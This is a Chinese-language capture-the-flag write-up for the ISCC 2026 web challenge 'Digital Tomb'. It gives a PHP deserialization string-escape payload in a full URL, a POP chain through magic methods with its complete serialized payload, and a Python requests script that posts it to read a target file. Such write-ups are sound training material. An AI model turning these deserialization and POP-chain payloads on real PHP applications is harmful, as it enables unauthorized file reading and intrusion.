【2026】ISCC 数字古墓
数字古墓 · Digital Tomb
题目类型:web
考点:PHP 反序列化注入、字符串替换绕过、魔术方法 POP 链调用
根据题意的话,要按顺序做,但第一阶段无法点击,可以通过查看源码找到地址:rune_trial.php
第一关:
目标文件:W3f82KD9.txt
平台:39.105.213.28:10026
访问进了39.105.213.29:10026/rune_trial.php
y=admin123,就可以输出第二关文件名。
关键代码:
$key = "bnhpjowd"; for ($j = 0; $j < strlen($key); $j++) { $search .= chr(ord($key[$j]) - 1); } $replace = 'iscc'; str_replace($search, $replace, $i);计算search真实字符串
b -1 = a n -1 = m h -1 = g p -1 = o j -1 = i o -1 = n w -1 = v d -1 = c可以得到amgoinvc序列化后iscc
替换后反序列化,触发__wakeup
构造字符串
amgoinvc变为iscc 8字节变为4字节,序列化少了4字节,构成php反序列化字符串逃逸漏洞。
如果内容实际长度<标记长度,php会继续向后吞吃字符,直到凑够长度
于是p = ";s:1:“y”;s:8:"admin123这个构造是16字节,也就是d我要构造32字节。
于是d=amgoinvcamgoinvcamgoinvcamgoinvc(32字节)
构造这个
http://39.105.213.28:10026/rune_trial.php?d=amgoinvcamgoinvcamgoinvcamgoinvc&p=%22%3Bs%3A1%3A%22y%22%3Bs%3A8%3A%22admin123得到:W3f82KD9.txt
第二关:
[39.105.213.28:10026/mechanism_chamber.php]
关键代码:
GateSentinel类先触发->Keystone 类->RitualEngine 类
触发顺序:
1. 反序列化 GateSentinel ↓ 自动触发 __wakeup() 2. __wakeup() 里执行 preg_match($this->object) ↓ 把 $object 当成字符串处理 3. 触发 __toString() ↓ 4. 执行 $this->tool['blade']->object ↓ 访问不存在的属性 5. 触发 Keystone::__get() ↓ 6. __get() 调用 $this->center() ↓ 7. 触发 RitualEngine::__invoke() ↓ 8. 反序列化 callback,得到 [对象, "view"] ↓ 9. 映射为 run() 方法并执行 ↓ 10. 读取 $target 中的 W3f82KD9.txt → 通关!POP链构造:
构造 RitualEngine
$e = new RitualEngine(); $e->target = "W3f82KD9.txt"; $e->callback = 数组: [ $e, "view" ];构造 Keystone
$k = new Keystone(); $k->center = $e;构造内层 GateSentinel
$g_inner = new GateSentinel(); $g_inner->tool['blade'] = $k;构造外层 GateSentinel
$g_outer = new GateSentinel(); $g_outer->object = $g_inner;序列化外层最终得到payload
echo serialize($g_outer);即:
O:12:"GateSentinel":2:{s:6:"object";O:12:"GateSentinel":2:{s:6:"object";N;s:4:"tool";a:1:{s:5:"blade";O:8:"Keystone":1:{s:6:"center";O:12:"RitualEngine":3:{s:11:"*settings";N;s:6:"target";s:12:"W3f82KD9.txt";s:8:"callback";a:2:{i:0;O:12:"RitualEngine":3:{s:11:"*settings";N;s:6:"target";s:12:"W3f82KD9.txt";s:8:"callback";N;}i:1;s:4:"view";}}}}}s:4:"tool";N;}EXP:
import requests # 第二关目标URL url = "http://39.105.213.28:10026/mechanism_chamber.php" payload = """O:12:"GateSentinel":2:{s:6:"object";O:12:"GateSentinel":2:{s:6:"object";N;s:4:"tool";a:1:{s:5:"blade";O:8:"Keystone":1:{s:6:"center";O:12:"RitualEngine":3:{s:11:"*settings";N;s:6:"target";s:12:"W3f82KD9.txt";s:8:"callback";a:2:{i:0;O:12:"RitualEngine":3:{s:11:"*settings";N;s:6:"target";s:12:"W3f82KD9.txt";s:8:"callback";N;}i:1;s:4:"view";}}}}}s:4:"tool";N;}""" # 发送POST请求 data = { "data": payload } response = requests.post(url=url, data=data) # 输出结果 print("=" * 50) print("第二关 执行结果") print("=" * 50) print(response.text)